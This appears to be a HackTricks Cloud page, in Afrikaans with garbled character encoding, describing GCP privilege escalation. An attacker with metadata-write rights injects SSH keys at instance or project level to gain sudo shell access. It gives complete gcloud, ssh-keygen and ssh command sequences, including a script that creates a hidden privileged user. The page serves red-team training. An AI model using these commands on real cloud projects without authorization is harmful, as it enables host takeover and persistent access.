GCP - Voeg Aangepaste SSH Metadata By
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Wysig die metadata
Metadata-wijziging op ân instansie kan lei tot beduidende sekuriteitsrisikoâs as ân aanvaller die nodige toestemmings verkry.
Inkorporering van SSH Sleutels in Aangepaste Metadata
Op GCP, Linux stelsels voer dikwels skripte uit vanaf die Python Linux Guest Environment for Google Compute Engine. ân Kritieke komponent hiervan is die accounts daemon, wat ontwerp is om gereeld die instansie metadata-eindpunt na te gaan vir opdaterings aan die geautoriseerde SSH publieke sleutels.
Daarom, as ân aanvaller aangepaste metadata kan wysig, kan hy die daemon laat vind ân nuwe publieke sleutel, wat verwerk en geĂŻntegreer sal word in die plaaslike stelsel. Die sleutel sal bygevoeg word in die ~/.ssh/authorized_keys lĂȘer van ân bestaande gebruiker of moontlik ân nuwe gebruiker met sudo regte skep, afhangende van die sleutel se formaat. En die aanvaller sal in staat wees om die gasheer te kompromitteer.
Voeg SSH sleutel by bestaande bevoorregte gebruiker
- Ondersoek Bestaande SSH Sleutels op die Instansie:
- Voer die opdrag uit om die instansie en sy metadata te beskryf om bestaande SSH sleutels te vind. Die relevante afdeling in die uitvoer sal onder
metadatawees, spesifiek diessh-keyssleutel.
gcloud compute instances describe [INSTANCE] --zone [ZONE]
- Let op die formaat van die SSH sleutels: die gebruikersnaam kom voor die sleutel, geskei deur ân dubbelepunt.
- Bereid ân TekslĂȘer voor vir SSH Sleutel Metadata:
- Stoor die besonderhede van gebruikersname en hul ooreenstemmende SSH sleutels in ân tekslĂȘer genaamd
meta.txt. Dit is noodsaaklik om die bestaande sleutels te behou terwyl nuwe bygevoeg word.
- Genereer ân Nuwe SSH Sleutel vir die Teiken Gebruiker (
alicein hierdie voorbeeld):
- Gebruik die
ssh-keygenopdrag om ân nuwe SSH sleutel te genereer, en verseker dat die kommentaarveld (-C) ooreenstem met die teiken gebruikersnaam.
ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
- Voeg die nuwe publieke sleutel by
meta.txt, wat die formaat naboots wat in die instansie se metadata gevind word.
- Werk die Instansie se SSH Sleutel Metadata Op:
- Pas die opgedateerde SSH sleutel metadata op die instansie toe met die
gcloud compute instances add-metadataopdrag.
gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
- Toegang tot die Instansie met die Nuwe SSH Sleutel:
- Maak verbinding met die instansie met SSH met die nuwe sleutel, en toegang die skulp in die konteks van die teiken gebruiker (
alicein hierdie voorbeeld).
ssh -i ./key alice@localhost
sudo id
Skep ân nuwe bevoorregte gebruiker en voeg ân SSH sleutel by
As daar geen interessante gebruiker gevind word nie, is dit moontlik om ân nuwe een te skep wat sudo regte gegee sal word:
# define the new account username
NEWUSER="definitelynotahacker"
# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""
# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt
# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt
# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost
SSH sleutels op projekvlak
Dit is moontlik om die bereik van SSH-toegang tot verskeie Virtuele Masjiene (VMâs) in ân wolkomgewing te verbreed deur SSH sleutels op projekvlak toe te pas. Hierdie benadering laat SSH-toegang toe tot enige instansie binne die projek wat nie eksplisiet projekwye SSH sleutels geblokkeer het nie. Hier is ân samegevatte gids:
- Pas SSH Sleutels op die Projekvlak toe:
- Gebruik die
gcloud compute project-info add-metadataopdrag om SSH sleutels vanmeta.txtby die projek se metadata te voeg. Hierdie aksie verseker dat die SSH sleutels oor alle VMâs in die projek erken word, tensy ân VM die âBlok projekwye SSH sleutelsâ opsie geaktiveer het.
gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
- SSH in Instansies met Projekwye Sleutels:
- Met projekwye SSH sleutels in plek, kan jy SSH in enige instansie binne die projek. Instansies wat nie projekwye sleutels blokkeer nie, sal die SSH sleutel aanvaar en toegang verleen.
- ân Direkte metode om in ân instansie te SSH is deur die
gcloud compute ssh [INSTANCE]opdrag te gebruik. Hierdie opdrag gebruik jou huidige gebruikersnaam en die SSH sleutels wat op projekvlak gestel is om toegang te probeer verkry.
Verwysings
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

